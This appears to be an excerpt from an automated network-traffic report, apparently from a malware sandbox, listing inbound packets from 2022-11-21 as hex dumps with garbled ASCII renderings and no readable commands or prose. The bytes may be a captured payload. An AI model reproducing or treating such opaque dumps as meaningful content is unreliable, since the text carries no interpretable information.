)n2.W2>o]"UV2id,2)o2K@;}Ur]Zw'b:7n_U{7`vG{M#s1l2VPsX{hN"SK3gAM;Sz,RW#f#`7%tT{&[/-4k$}z
2022-11-21 18:18:36 UTC	35	IN	Data Raw: 20 3c 10 b3 65 54 d1 08 8d f3 bc 6c 40 ed 15 4f 3d 4a d8 5b b8 49 a4 aa 79 34 ba fd 04 9a 04 43 cf c0 8a 4a 3c fa 9c 28 3b b6 be 5f 3f f2 d2 db d0 4c c2 a3 c2 68 0b ba e4 4e 7d f9 c9 30 39 39 fd 14 34 23 9b 81 8c 8e af c0 ab 94 b9 6a f5 f3 ec b0 41 02 a9 f9 16 fb d2 13 5c 8c 06 ac 94 4f 68 50 2e b1 e0 62 fb 4a a2 36 ee 59 9e ab 26 0c c0 39 f6 03 94 e6 7d ce 75 45 22 b3 0b ad 31 df ea 7a 5c cb 2f 12 66 0a 68 ff 67 d6 5b 5b 36 df a2 03 9d 6c d6 46 fc d7 7e dc b8 e7 b0 6e 87 4e 37 65 29 dc 13 22 94 27 17 fb e3 10 fa f9 be 81 9a 30 c3 ae 11 d8 d9 1d cd 7c 3c 8e 43 3d 51 f5 9b a9 9c e2 6a 13 51 e4 12 6f ec 71 b9 1a 3f 4e 25 6c 88 12 bf 61 11 cd 2c 4f c6 ff 8a 98 6b 1e 37 10 cc 20 6f a2 0b 65 37 5c 84 7e d2 ba f2 9d 0e ba 42 c0 17 f0 0c 0c 06 c0 f6 5f e2 bc 4b Data Ascii: <eTl@O=J[Iy4CJ<(;_?LhN}0994#jA\OhP.bJ6Y&9}uE"1z\/fhg[[6lF~nN7e)"'0\|<C=QjQoq?N%la,Ok7 oe7\~B_K
2022-11-21 18:18:36 UTC	36	IN	Data Raw: ce 41 dc 80 2c 79 dc 8d 2d 37 d4 76 60 dd 33 e0 1b 17 0d 77 78 19 33 e0 3e d3 38 6e 2b 39 70 f2 75 ec f4 18 1c 76 6e 3a eb 9f 6c 9f ee ef 16 4f 67 7f 0e 2f 26 75 bb 46 16 c1 6d 9d a1 c8 7f 4a 7d 9f 69 5d 24 ce bb f8 95 1b aa f0 2c 2a 3b 46 ff 6a 80 a2 74 65 7c ce cd 39 7b 9e 24 b6 ac ff c3 9c ca b3 2e 72 58 1b 16 6b 54 3d 4c b3 72 2b fd a1 16 3d bf 10 37 21 63 fb 96 97 12 b6 2c 5d 58 07 16 b5 b1 4d 92 55 00 0e 6c 46 6a d8 c3 1a 0d 31 64 54 d4 f0 30 b2 f6 84 9b 9f 42 f7 b9 95 2b de a9 23 33 2d 3f a9 29 28 1a e0 88 fc c5 d6 b5 df ec b3 01 3c 3c af 3f 82 54 69 c0 8c 06 41 10 aa c1 a8 bc a4 e2 7b 96 8a 79 e2 62 29 b8 9a d8 dc 2e 0f e8 44 ab 8c 91 aa be 42 36 67 db cd fa 41 51 92 38 9c 6d c3 8e b1 52 7c 70 9c 86 13 d8 bb d9 71 d8 e3 44 f2 dc f7 c1 49 84 83 fe Data Ascii: A,y-7v`3wx3>8n+9puvn:lOg/&uFmJ}i]$,*;Fjte\|9{$.rXkT=Lr+=7!c,]XMUlFj1dT0B+#3-?)(<<?TiA{yb).DB6gAQ8mR\|pqDI
2022-11-21 18:18:36 UTC	37	IN	Data Raw: eb 1a e7 27 20 43 96 19 4f 7c e6 1f 32 0a 1c da 26 1f 52 81 14 f1 4e 94 5e bb 35 94 c8 b6 af 80 87 d5 d2 8d 3d ea fe d5 44 d5 ff 75 68 eb c7 fb 0e 72 79 8e cc 2c 55 b1 04 17 91 ff b6 6e fb 07 9c 92 81 c4 d4 c5 04 e3 8f e5 72 62 6c be db 1a a8 21 fa f0 6e ec b3 9a 0c c5 bd 36 21 2e 90 5c 33 fc 40 e0 27 19 68 d9 bc 2b b6 96 61 6b d8 e5 f7 53 6c d8 79 db 77 a7 86 56 80 e8 57 e9 3a 7a 8d e5 92 95 67 7a 5c 94 f4 f1 62 ae a1 23 e6 56 8a 89 c9 8d 14 85 b5 7a ef f9 46 4c 8f 17 df 41 46 76 72 55 22 58 9b 58 49 63 e0 b6 45 e3 ac 79 b4 c6 27 8b cf 22 00 74 97 37 93 e1 3d 9c 42 71 b5 ad 02 02 9f 59 6a 9d ba 23 af 56 d6 26 ad 4f 66 07 ec b2 5b 07 c3 34 e1 95 b7 a6 36 b7 45 9a 3a ad 6e a6 16 57 c0 0d 50 97 85 ad 55 cc 66 70 00 8c 99 de 9e 42 64 3e 99 97 45 aa 9b ab 0b Data Ascii: ' CO\|2&RN^5=Duhry,Unrbl!n6!.\3@'h+akSlywVW:zgz\b#VzFLAFvrU"XXIcEy'"t7=BqYj#V&Of[46E:nWPUfpBd>E
2022-11-21 18:18:36 UTC	38	IN	Data Raw: cd 78 21 f9 7c cb be cf 70 cb b2 98 81 42 0f 78 b3 b4 be b8 1f 76 0a 9a 2e c9 62 db de 4b 60 c1 54 3e 69 79 4a 2d 47 b0 85 d9 d3 88 e2 79 c0 82 c0 3c c1 49 39 88 27 bf 8a a7 fa 73 b0 f6 b1 8d 9e ad 53 f9 50 d4 30 f3 0c 74 25 82 75 16 ee 6e ae e4 00 07 d0 cd d2 00 48 69 63 32 a8 3f 72 4e 11 a7 73 8a 53 55 7b 6f 6d c6 43 8d 10 b0 f0 13 1e d8 05 fa 8f c2 f0 5b 85 fb 13 e0 7b 7a 29 5f 8f 65 fa 85 c2 2c 2f 33 a0 e3 86 53 29 77 fa 88 fd c7 4b 93 f6 6d e8 17 92 76 6d 40 80 1a 81 3e cb da 80 2f c8 78 4a 10 ce 97 4f 8f cd 4c 1d 06 f9 b8 dd 56 11 45 bc b9 6e 2e 57 9b 21 eb 0c 75 25 4a e9 b2 c5 84 e6 57 fe c2 56 54 45 26 05 84 1c f8 9c 93 79 5e 48 09 27 84 ab 61 79 4b 5e 5c 6c d4 b9 6f 35 a7 4f f2 42 87 9f 06 9c 71 63 e9 d4 d0 92 00 ff bf 00 35 0d 36 bd 70 ff fc d1 Data Ascii: x!\|pBxv.bK`T>iyJ-Gy<I9'sSP0t%unHic2?rNsSU{omC[{z)_e,/3S)wKmvm@>/xJOLVEn.W!u%JWVTE&y^H'ayK^\lo5OBqc56p
2022-11-21 18:18:36 UTC	40	IN	Data Raw: f8 d5 c2 0a 35 73 96 2e ec 53 aa 87 3a a5 8d 89 e7 3b 86 9d 29 68 23 1f b4 ca f2 e9 67 07 62 b8 18 50 b5 e7 6b fb 2e 20 0f f4 3e b2 e8 53 1d 93 b6 e8 f6 82 1c 39 e9 f3 f7 db aa 68 57 4e be 2b 94 e1 f7 91 80 ac 61 7a 80 2c 19 12 1a 42 a4 0a 1c 7f 96 31 2a 17 fc 94 55 36 37 1e f9 ab 1e e5 ff c7 7a f4 bc 3e 75 1a aa 7e 7e 84 df 3a 5d 98 7c 26 75 23 3c 04 33 8c 8b c7 05 02 18 43 93 c9 38 30 51 cf 34 98 f9 75 64 20 b5 44 82 4f 4a a1 0d 6c 09 5c cb 0d 81 72 84 e1 e9 7f a9 96 f6 19 44 81 96 55 bf 26 b7 df b1 d7 bd b3 ce 00 ac 53 bf 17 a9 1c 7d df 4f 4d 80 0e c8 9c 6d 8b 3f 13 c7 39 9b 6e fb fc 40 5b 56 2e 0a a1 66 36 38 e0 3d 95 4f 29 cb 69 0a dd af 04 bc 73 0d 95 95 e1 36 07 2a 9b 8f d8 10 78 d1 6a d9 a8 aa 97 56 53 27 88 8b 12 b9 a8 cb 26 4c 1f 2b cd b0 6c 35 Data Ascii: 5s.S:;)h#gbPk. >S9hWN+az,B1U67z>u~~:]\|&u#<3C80Q4ud DOJl\rDU&S}OMm?9n@[V.f68=O)is6xjVS'&L+l5
2022-11-21 18:18:36 UTC	41	IN	Data Raw: 86 ca a3 4d e0 77 26 04 f3 07 ae 57 82 76 7a e9 d2 d7 7c 3b 1b 24 d5 f3 42 9c 3d a4 58 50 97 37 bc 97 f3 e9 6e ba 4f 5d 7b 12 94 97 02 a8 31 5d 73 e8 60 d1 40 c8 5b 3d fd 26 17 68 49 4b 3c 23 f7 55 ad b6 83 93 4e 3e ce 75 83 5c 29 e8 00 a9 d5 ac 17 90 dd 12 81 de bd dc fe 28 77 7b 59 74 34 bf f4 b3 a1 2f 20 d8 02 f3 fd 18 50 88 1c db 81 f1 f8 63 88 89 85 18 af 3e 4d 6c 77 bb f9 ed 33 11 2d 71 61 f6 9d d9 26 60 d8 7d 95 b7 23 cb b6 59 1b a7 ab 5b f5 0a 61 50 a7 61 c4 81 04 8b 82 a3 c7 63 92 f1 80 2b 03 82 5c dc be 0f 4f 63 60 31 40 af cb 24 e3 06 e3 ad 2a 15 fd 77 0e e1 07 af 6e 16 47 f6 b1 64 aa 95 c7 c9 66 f6 bb 32 2f 22 1a f0 f8 8a 31 14 22 d3 3b 3d ad bd e3 fc 57 8a 76 18 d1 ea 56 ca d3 22 b2 3d bc d7 29 29 bd 8d 66 8a 4d 8e 5a dd 8b 5d 33 25 e9 56 fe Data Ascii: Mw&Wvz\|;$B=XP7nO]{1]s`@[=&hIK<#UN>u\)(w{Yt4/ Pc>Mlw3-qa&`}#Y[aPac+\Oc`1@$*wnGdf2/"1";=WvV"=))fMZ]3%V
2022-11-21 18:18:36 UTC	42	IN	Data Raw: 7f 8e 23 87 28 d6 92 45 a3 15 be af 2d dc 8d 10 08 83 df 7a 08 d3 c4 36 da 42 fd c7 8e 0f 02 79 ab 51 2b 29 8c ba 0a 86 bf 18 90 36 03 50 80 68 55 25 2e 23 1a 9a 9c 18 2b 20 67 78 25 cd 3e 41 20 0b 53 3a 42 4f d8 ae 12 24 89 8c e7 5e 20 1d f2 77 cb 0f c7 f9 d3 50 33 55 dd 2b ad 64 68 d0 0f 2e c9 0c 41 86 38 62 60 b9 c8 fd 25 78 27 5f b7 14 ff bb a0 de c2 15 1f 27 35 cc 18 12 d1 f7 19 ed 26 f4 79 b0 ca 6f 6c 71 04 67 00 ea a0 9d 31 dd 6c 21 d3 1f e5 cd 0b 11 cb b8 67 fa 63 de 21 69 bb e0 e6 cd 94 24 86 60 49 b0 60 9c ec 9b 08 3f e3 d0 7a 34 c7 83 e1 42 96 87 9e 65 a6 4e 18 f4 bd 35 44 29 af 78 8a d9 89 d7 56 3a cf cd 0f 94 24 e7 7d 8f 7a 4d 4f 77 1c 71 75 dc 60 f5 ae 1e bf 36 89 8c 07 eb e1 c0 97 a5 3c e3 93 a4 48 a4 0e 92 55 e9 ee 9c 5d 0f f2 48 d8 c9 59 Data Ascii: #(E-z6ByQ+)6PhU%.#+ gx%>A S:BO$^ wP3U+dh.A8b`%x'_'5&yolqg1l!gc!i$`I`?z4BeN5D)xV:$}zMOwqu`6<HU]HY
2022-11-21 18:18:36 UTC	43	IN	Data Raw: 8d e1 11 7f e7 a4 40 3c 2c 5e 87 08 fb 97 6b bb 2f fd 56 ac fe 86 73 04 44 a4 44 57 da f5 01 df d6 29 11 94 e1 7a ee 79 0d 72 ab ed 01 da fd d8 b4 43 8a 24 7c 11 bf cf 66 0c 0a 5d 78 f7 e8 5a c8 6d 18 49 10 e7 c9 de fb ec 29 18 fa f0 11 06 0a 05 07 fd 13 95 c2 7b 85 2e 04 60 42 4c 51 45 fb b9 99 20 86 2c eb cb 1c ee 90 8d cf 4b fe 08 7c 35 55 26 20 0b 3a a6 92 01 f7 4f 87 7e 2f 91 b9 c6 58 33 ec fc 56 e6 4d 9b 07 78 51 58 d7 11 87 38 c9 71 a5 3a ed 36 21 f0 3f 7f bf a1 a0 f9 c0 51 de 3c 25 0e cd 2e fe b4 09 bf ec 66 f7 f0 a3 d7 c3 25 ca 76 59 86 8c 9c 31 b7 2a 53 26 b6 79 49 c7 c9 fe cb 43 2e ed 3f bf f3 11 0f ee 73 1a 11 8b e6 31 70 a8 53 5d 56 c0 41 fd 7d 7e 66 3e 2a 67 fe 0c 24 66 64 bd 95 bf 79 54 f8 64 4d b6 15 ca ee 96 37 c2 5b df 69 59 40 06 25 5b Data Ascii: @<,^k/VsDDW)zyrC$\|f]xZmI){.`BLQE ,K\|5U& :O~/X3VMxQX8q:6!?Q<%.f%vY1S&yIC.?s1pS]VA}~f>g$fdyTdM7[iY@%[
2022-11-21 18:18:36 UTC	45	IN	Data Raw: d6 ff 01 a7 dc 57 13 5a 30 8b 0d 2a a2 27 6e 1e ee 46 d7 58 23 34 8c 0e 19 93 54 eb 7d ad d5 48 1e 84 9c db ce 95 a4 f8 63 65 12 0d d8 94 d2 f2 45 30 7e 4c 43 90 fb 22 23 bf 9b 85 75 f1 db 53 77 f9 23 44 88 2d cb fc cd 25 7d 1f 08 f0 9f 7c 1f 99 56 f9 21 d3 eb cb 14 14 02 55 99 8c 70 d4 05 1e 4d 11 29 8d 87 b9 e6 8c 64 92 19 d6 d7 6f 12 42 21 e8 b2 8a 77 61 b1 ef a0 85 82 49 b7 f7 bb bd 7e 6c 32 39 bc cd c8 9c b1 64 33 56 b0 fd 1d 53 8e 08 a9 f4 e0 8f ff e3 f5 65 ac 57 dd 46 86 5a 0d 5c c0 64 2c ce 5b 1f fc 4d 29 25 d9 78 39 0f 1d 4a 0d dd cc 59 7a 42 61 6f 8e b6 b4 bd fe e8 af 8f bc 4a 47 34 13 2b 84 32 ca 60 00 a1 0a 53 b1 7c c1 bf 5c 51 8e bc 5f 54 c1 a5 d4 1b 86 5d 9a 76 59 86 61 5b c2 e3 ac 30 b3 a5 74 c7 ae b6 ba de b9 4e 7e bd b2 9a 4c b9 8f 46 ca Data Ascii: WZ0*'nFX#4T}HceE0~LC"#uSw#D-%}\|V!UpM)doB!waI~l29d3VSeWFZ\d,[M)%x9JYzBaoJG4+2`S\|\Q_T]vYa[0tN~LF
2022-11-21 18:18:36 UTC	46	IN	Data Raw: 14 cc 0c c7 e3 71 e1 df 1f b0 28 51 77 e4 d1 7b 00 07 b0 a1 46 14 78 c0 1e c0 64 9e c2 2b 48 17 51 a5 de 41 e0 c9 6a 94 48 50 c2 65 ac 31 5a e8 a9 77 b1 af af 28 33 b4 79 47 33 93 17 84 89 e0 95 3f 34 3d 7e 82 52 a6 26 87 c3 9a f4 e5 3f 88 ce ff eb 89 39 e7 ce 36 dd 29 0c 3d 7d 3b 5e 97 d9 b9 38 36 e8 4b ec dd 1a 70 e5 a1 7f 05 41 d6 18 30 87 0d ea 26 91 d8 dc 67 2f 18 a0 b9 19 e9 e1 4d 09 05 81 cd 90 a4 c8 79 ac f3 1b 90 e0 34 6b 1a 72 2c a4 17 3e b2 24 ec 4f 87 8c f4 85 1d 25 7c f9 f5 44 dd 1a 9a 10 92 aa 93 aa b5 37 b2 9f f9 31 64 0b 46 0a ef e4 22 5b 3a c0 f8 83 e3 1d dc 46 dc 7a 72 39 f2 bb 3c 35 74 e3 2a 53 5a f6 dd 06 f6 66 c3 bd 6d 7f df 67 ce 55 b4 69 2f 39 ba 6d 6d 78 20 15 dc 4a fc 5c 60 22 4d e2 3a 23 9d 41 d7 33 4c eb 15 fd df f5 73 6a e3 f7 Data Ascii: q(Qw{Fxd+HQAjHPe1Zw(3yG3?4=~R&?96)=};^86KpA0&g/My4kr,>$O%\|D71dF"[:Fzr9<5t*SZfmgUi/9mmx J\`"M:#A3Lsj
2022-11-21 18:18:36 UTC	47	IN	Data Raw: 2e 6c 3a 2a 7e b1 9c 36 ec ff 34 9a 66 55 a8 21 f1 dd 66 1c 61 a8 cf a7 9d 72 b9 e0 da 7d d6 26 0a 90 f8 92 b3 5e e1 f9 2a ef 27 66 e9 89 82 43 01 cd c1 bb 10 8a 50 05 e7 c1 d2 20 61 4e ba fa 4d 99 24 45 4b b9 10 4c 5b d9 e0 a9 80 f6 4d de 8a 9b 50 77 6f c4 2a 43 60 2a 81 c1 e5 ea a6 d8 67 66 b1 d1 dd 5b cf 20 58 51 87 f8 28 16 bc 25 1b 47 31 92 9a 58 f4 1e 58 57 14 2f 4f 37 72 7b ae 90 8e fd 48 38 6b f0 d9 27 b3 fa b2 53 02 2b ca a7 1a 0e c0 c2 2c d9 3e 54 c8 55 8d b4 6b 43 6e 41 7d f5 a0 f4 bf 22 ff 97 6e ce d1 8f 5e 74 6e f9 e1 c2 91 8c 80 78 87 03 99 37 af e2 77 52 f7 82 31 0b 20 37 2f b0 b6 7d 3a 69 24 45 c6 98 bb 3f 05 9b 03 1e 51 c0 54 2f f6 c8 58 4f 41 ea 54 2f 4b e6 7b d0 d9 7d 70 4a 2f d7 04 c9 c5 4f 27 33 0f a9 1e 33 37 60 dd d7 f6 07 1e aa cf Data Ascii: .l:~64fU!far}&^'fCP aNM$EKL[MPwoC`gf[ XQ(%G1XXW/O7r{H8k'S+,>TUkCnA}"n^tnx7wR1 7/}:i$E?QT/XOAT/K{}pJ/O'337`
2022-11-21 18:18:36 UTC	48	IN	Data Raw: 19 e4 76 b2 27 6a 52 8a 37 f3 fe b9 a3 9a e1 7d bd 6a d6 b9 b7 ae be 79 dd 07 0b 07 bb 84 33 db f2 c5 76 92 4c 82 d2 00 95 a2 7f 6a 45 c2 55 50 a2 48 8c 90 b7 a2 dd 7e 98 70 fa 09 a8 76 44 e6 3c 90 63 80 8d 92 83 30 6d 2e 74 e3 0c 28 51 3f 95 f8 68 c0 50 a7 79 a2 ef fd d2 04 71 16 91 50 8b f0 af b0 5d c3 a9 46 26 2a 6a e8 b0 6e c3 68 dc af 15 91 7b 4d 7f 10 50 5a e1 fd 74 56 80 f0 03 70 c5 07 13 99 57 41 cf a6 7f f6 ef 61 7d a6 c5 67 7c f9 27 01 a1 ad 28 a0 36 9b de 95 54 21 dd d5 05 b8 0a 5a 6f 27 9c 17 29 ec 44 5f 76 65 3f f7 67 db 6a 82 07 0d da 84 e2 c0 b7 d8 33 12 2b cc 37 15 33 26 51 c5 95 5c 91 1d dd 4b db 8b b0 cc 8f 78 4c 82 bf fd ef 9a bf ac ed 76 e2 b1 73 8d 77 9b 66 57 d1 01 2d f0 3d 6a 8e 9e e8 5e 74 0f 2d 75 18 59 13 de d4 7e 06 e9 90 a8 60 Data Ascii: v'jR7}jy3vLjEUPH~pvD<c0m.t(Q?hPyqP]F&*jnh{MPZtVpWAa}g\|'(6T!Zo')D_ve?gj3+73&Q\KxLvswfW-=j^t-uY~`
2022-11-21 18:18:36 UTC	49	IN	Data Raw: e3 43 51 3e c4 ae f5 63 0d 0e 94 d7 3f 5c f3 d2 b7 df 59 8b d8 cc a7 7e b3 9b c5 e3 60 ba b6 25 e6 5a e7 1e 78 f1 b5 85 6e 74 6c b9 02 f7 de 3f cf e3 99 56 19 a3 e4 21 9c 6c d5 5e 13 fd e7 9b cb 82 6a ea cd 5c fd 7b be 08 a1 33 cf 9e 20 4f 9e 05 d0 e8 2c 78 66 0c 2c 45 6d b2 4b 59 eb a0 46 24 f3 a0 3c f2 6f 21 ce 60 19 72 Data Ascii: CQ>c?\Y~`%Zxntl?V!l^j\{3 O,xf,EmKYF$<o!`r
2022-11-21 18:18:36 UTC	50	IN	Data Raw: 19 b7 04 f3 e4 52 9f 6c 81 7f 33 13 c2 5f 81 90 b0 ca 6c 67 79 8d b4 d0 2c 4e 1e 09 bb ea 97 bb 50 04 23 0f 51 38 10 9d 1c 38 9e fc cc 56 e0 4c 44 c6 6d 14 07 9f f5 ea dc 6f 67 ae a2 9b 0c fb cd 16 fe 04 9c 9a 7f e9 3b 64 c6 8e 3c d1 f4 22 cc 24 ba 1e f8 47 2a 3f 7f 6b a6 97 20 8c 98 5b 74 0a c9 73 3a bd 63 64 9b 64 a0 85 d8 01 d9 b6 84 91 1d 1f 26 5a 1d 1e 33 99 e2 fa 16 fa 20 29 ca 06 36 6b 81 b7 d4 ae c4 5b 07 f4 c0 74 e9 ed ee 1a 2d 99 61 e5 e3 c3 54 bb b5 26 34 d6 17 ca c9 82 b2 61 73 70 8b 83 11 a0 2f 31 d8 3a 52 64 c2 e8 a6 80 10 e7 4d c5 b0 eb 17 6a 35 65 5c 1a 0c 11 8f 6e 4d fb 35 f0 a9 f9 8f 19 28 a4 c9 c0 68 e0 ac 1c 6a 89 15 f4 f8 5f 2b 71 3d 0e 6e e4 1b f7 ff 93 c4 74 28 ea e1 3f 7d 82 df 12 aa 18 79 ff 0f 18 cc ce fd 9d 28 bd 14 15 ec 7d 93 Data Ascii: Rl3_lgy,NP#Q88VLDmog;d<"$G*?k [ts:cdd&Z3 )6k[t-aT&4asp/1:RdMj5e\nM5(hj_+q=nt(?}y(}
2022-11-21 18:18:36 UTC	51	IN	Data Raw: 72 af 72 33 5c a7 66 37 92 52 80 e8 20 1e 92 4a 38 d2 09 b7 cd 4e ef b0 cb 35 3c 5d 9b 76 9b 31 31 e9 f4 03 81 e0 98 27 cb 14 3c 1a 27 7a f2 a2 56 10 81 c3 2c 4c 50 42 73 c6 ac c8 d3 6b fb 8f 7c 96 2e 9d 2e c7 2b 58 67 b7 86 b1 c7 1d d2 51 a2 19 6d 03 3b 88 66 1d f4 e8 74 03 2a 02 37 ff 25 32 73 67 3c 5d 74 3b b8 fc 9b 05 66 f4 58 1e c8 c3 30 8c 95 4d d4 a5 90 86 64 57 6c ff 88 9d 83 23 17 47 c9 b7 17 88 3b 32 5c 8c 2a 77 45 63 bd 8a 8e 77 ed 4d a6 61 99 ab 18 84 77 b8 11 71 ea 0c 7b e2 a8 6a 64 35 19 6d a9 b2 64 02 4b f4 ed 56 c1 c3 44 30 24 01 0e a8 b5 b8 e3 0a 9c 98 37 d1 ea d8 cb f5 ee 1a da be 5c 1e 58 78 c0 cd 69 27 cb a4 35 95 6b 42 fc a9 1d cc 71 cf 15 fe 39 5c 59 50 20 9c 21 23 29 ac d3 ba 28 98 0d 64 ef a2 ea f3 dc 23 35 73 54 dc 5e 74 ef 35 d8 Data Ascii: rr3\f7R J8N5<]v11'<'zV,LPBsk\|..+XgQm;ft7%2sg<]t;fX0MdWl#G;2\wEcwMawq{jd5mdKVD0$7\Xxi'5kBq9\YP !#)(d#5sT^t5
2022-11-21 18:18:36 UTC	52	IN	Data Raw: 00 7e b0 87 d2 d3 67 e9 cf 55 36 7f 31 60 bc fc c8 fe a8 b0 54 87 e2 68 54 46 13 06 e7 aa e6 a2 f5 df b3 dc 28 01 da 22 bd 9d ec 75 44 ac cd 94 f3 1f a5 1e 69 82 3d 7f fa e6 42 93 58 21 5d 5d 1e 2a 6b af 72 28 79 a1 d9 9c 7f 27 31 69 22 8d a6 4b 76 8f 35 db d1 0a 98 49 cf bb e8 6f 25 03 47 44 f4 37 a3 a6 7d 3c 7c 69 a2 c8 ef e2 0e 25 e5 c1 99 1a 40 34 3d 99 41 e9 8d 31 03 a3 23 b5 21 7e 1c 41 de 77 e6 20 52 ae af 26 f0 d7 cc cc 63 42 32 85 61 de f7 6a a0 88 5d c4 9c 3f a6 38 bf ce 4c 99 94 03 b7 21 ff cb 11 64 71 06 74 58 88 02 1d 3e 98 65 0c 52 bf 95 69 53 0c ab 8b 56 cb b6 b5 d9 5e 35 e1 72 29 3f 02 64 63 7e a3 e1 f6 8a f5 47 bf a1 56 34 93 88 c6 a3 06 6c 50 7f 85 47 8d 79 70 4e 92 29 3a 4a 32 46 5a c0 c1 03 d4 b8 ee 65 16 25 53 fd bd 62 bc 0c 83 3b 52 Data Ascii: ~gU61`ThTF("uDi=BX!]]*kr(y'1i"Kv5Io%GD7}<\|i%@4=A1#!~Aw R&cB2aj]?8L!dqtX>eRiSV^5r)?dc~GV4lPGypN):J2FZe%Sb;R
2022-11-21 18:18:36 UTC	53	IN	Data Raw: fd 55 b9 52 a0 ba 61 69 fb 2a ae a2 79 41 65 ea 4a a4 92 31 b0 e0 5b fa b5 a9 bd d6 16 94 24 09 75 30 b2 c8 f4 d9 6e 35 87 d8 5f 12 89 62 7b 0b be 30 af e6 4b 07 c1 65 f3 09 8e f2 cd 5f cd 3b 5c 43 dd 4a 0f 8a df 9c e1 a2 c8 93 c9 05 eb 0f 97 47 6b a8 e6 ac 4e 64 75 53 ee 49 45 d2 9a 01 56 dc 08 11 e9 1e ac 5d d1 6f ad 16 dc 78 ce 29 91 8e 7e 8b 98 14 6c ac 55 11 e5 23 33 d2 7a c4 5b 22 ae 5f 1a e3 ae 70 50 09 d4 60 ab 2f a8 62 e8 7e 9e 96 a9 0d 26 f4 ff a7 70 e2 e8 47 de 40 d2 ce 31 98 c0 65 b2 24 7b 9f df 68 5d d9 f8 0f 82 e7 80 f8 c5 36 79 6e b9 dd 1a fc b0 76 ab 69 91 6e d1 20 00 8f eb ca d7 b8 d7 83 c6 bd c3 67 47 3f c9 aa ab ce 43 30 86 6b f5 f8 72 56 07 2f f7 9a e8 f6 51 52 00 c1 8e 9a b4 db bc 54 1a b7 22 29 cd 98 f0 67 e1 cd c7 02 a0 c1 b8 e0 ad Data Ascii: URai*yAeJ1[$u0n5_b{0Ke_;\CJGkNduSIEV]ox)~lU#3z["_pP`/b~&pG@1e${h]6ynvin gG?C0krV/QRT")g
2022-11-21 18:18:36 UTC	54	IN	Data Raw: 27 30 6f 29 60 30 34 9b 59 57 74 97 28 8e 93 bb 22 67 56 57 d6 49 da 5d 9a 06 f4 0e 0d d7 30 97 35 ab 48 a5 7d 93 13 3a 16 35 a1 7a 21 0a 30 17 62 9c a4 f6 5a f9 87 04 56 2c dc f6 1b ae 19 fe a4 62 96 3c c2 c5 f8 3b 95 ba 63 b0 f5 8d 9e bc 64 fe 6d a0 c0 b8 fd 2a 5f b4 a9 51 10 b9 3a 15 6a 61 42 07 4d dc 17 3c c5 97 cd 92 f4 20 40 91 22 7e 92 0e 4a 61 78 6c 56 b0 e0 ed f6 e8 b4 9a b0 04 64 ed 69 56 14 65 65 18 62 32 cb 04 b8 32 0d 1c 65 bb a1 a7 2d e8 66 e9 a8 46 6b c1 ba fb f5 eb dd 6c 5e 0d e8 64 a7 bb 9b 70 3a 56 59 2a 27 51 88 1c d4 fa 93 6f 64 50 4f 45 6c 4f a1 9d 2b 52 5a 25 a4 ef 6e 73 39 84 8a 38 1e c8 f8 c1 ef 2d c2 26 5a 0a e6 bd a8 a7 2c cb d9 33 19 41 4b 9b 10 41 c1 db 3e 43 eb 6e 61 8e c1 6b 5f 36 09 1e ad ff da c4 c4 05 52 2b 9b ec 94 43 d8 Data Ascii: '0o)`04YWt("gVWI]05H}:5z!0bZV,b<;cdm_Q:jaBM< @"~JaxlVdiVeeb22e-fFkl^dp:VY'QodPOElO+RZ%ns98-&Z,3AKA>Cnak_6R+C
2022-11-21 18:18:36 UTC	56	IN	Data Raw: b5 0f 05 be 29 1c cb 3f ce 1e 42 7c e5 7b 50 32 7b d5 87 07 24 85 0d f1 8d 44 ae 8d f4 d4 f6 64 a4 7b bb b0 58 19 95 66 c6 6a 68 60 c5 31 6f c0 13 4a 62 f0 97 f9 b3 ff 33 81 5e 76 5c 2c df 5e 3f c5 38 d6 25 5a ff 7d c8 f8 4a 97 bc fe 03 98 3d f3 e6 cd fb 04 91 e7 d1 9a 6d fc f3 64 0f 6a 40 94 66 11 ae c5 69 3e bd b6 f7 50 6c a5 44 a5 24 32 3a b0 99 22 18 46 4f f3 e0 e7 b5 50 92 28 74 1e 11 38 fa de db 9d 7e 8c 40 94 0a d5 2b 3d 23 40 f1 2d b0 21 af 09 a4 f2 ca e7 77 21 23 39 98 58 6f 2b d3 00 26 54 ae 8a cd 27 1a 0d 7a 55 e3 68 a7 51 f4 80 85 4b db e6 da 8a c6 dc e9 27 5d bf 3f b1 57 31 11 3f 9f ae 1e e6 a4 ad 3a b5 fe d3 0c 8a 0f 7b e7 43 07 6a 66 49 41 64 ce f8 b4 54 f6 b5 1f 31 72 f5 86 c3 b6 49 c8 60 5d 80 c9 5f b3 86 d5 2f 2c ae bd b1 ad cf f1 1b 3f Data Ascii: )?B\|{P2{$Dd{Xfjh`1oJb3^v\,^?8%Z}J=mdj@fi>PlD$2:"FOP(t8~@+=#@-!w!#9Xo+&T'zUhQK']?W1?:{CjfIAdT1rI`]_/,?
2022-11-21 18:18:36 UTC	57	IN	Data Raw: 89 fa 75 52 2b 76 9c 10 28 13 0f 04 55 f2 a8 22 e0 00 81 c6 3b 1c fe 4e 72 7e a3 df 85 b6 8f 98 c0 e4 14 12 18 b3 5a ba fe fa b4 2c a9 fc b6 a2 02 e6 1e 08 61 65 6b 10 fb 48 e1 6f 66 66 46 33 b6 6c 77 2b 63 32 0d 94 97 3d c5 1e 0a b4 0a b3 2a 5e c5 7c a3 5e 9b e0 1d 86 06 14 4e 25 9f ae 45 fd ed 8a 5e 1b fd ef 0f 07 5d 4e 76 06 7e 4a e9 80 a7 b4 43 1d b5 57 00 ce b4 5f f7 da 98 f2 58 68 59 3b 66 3d 2e 8b f7 cf 66 9b 7a 85 4b f9 33 63 fb d6 bc d7 50 b2 cb 91 af 0e 17 ab ed 06 ee 54 83 6e 33 d8 c7 45 39 9e 29 40 9b e1 b3 2b a8 77 f5 44 2a 27 62 9a 70 75 56 10 c1 b0 e0 f7 07 1a 3f fc 77 17 23 6d 11 99 fd 1a 79 1c 17 10 04 ff c1 18 19 2f c8 47 db a3 6d 36 50 a2 58 3a aa 7b fe fe 5b e5 75 f6 ff 29 d4 df ca 39 66 97 df e5 74 9d 24 89 3d c9 eb 95 8e c1 d3 b9 df Data Ascii: uR+v(U";Nr~Z,aekHoffF3lw+c2=^\|^N%E^]Nv~JCW_XhY;f=.fzK3cPTn3E9)@+wD'bpuV?w#my/Gm6PX:{[u)9ft$=
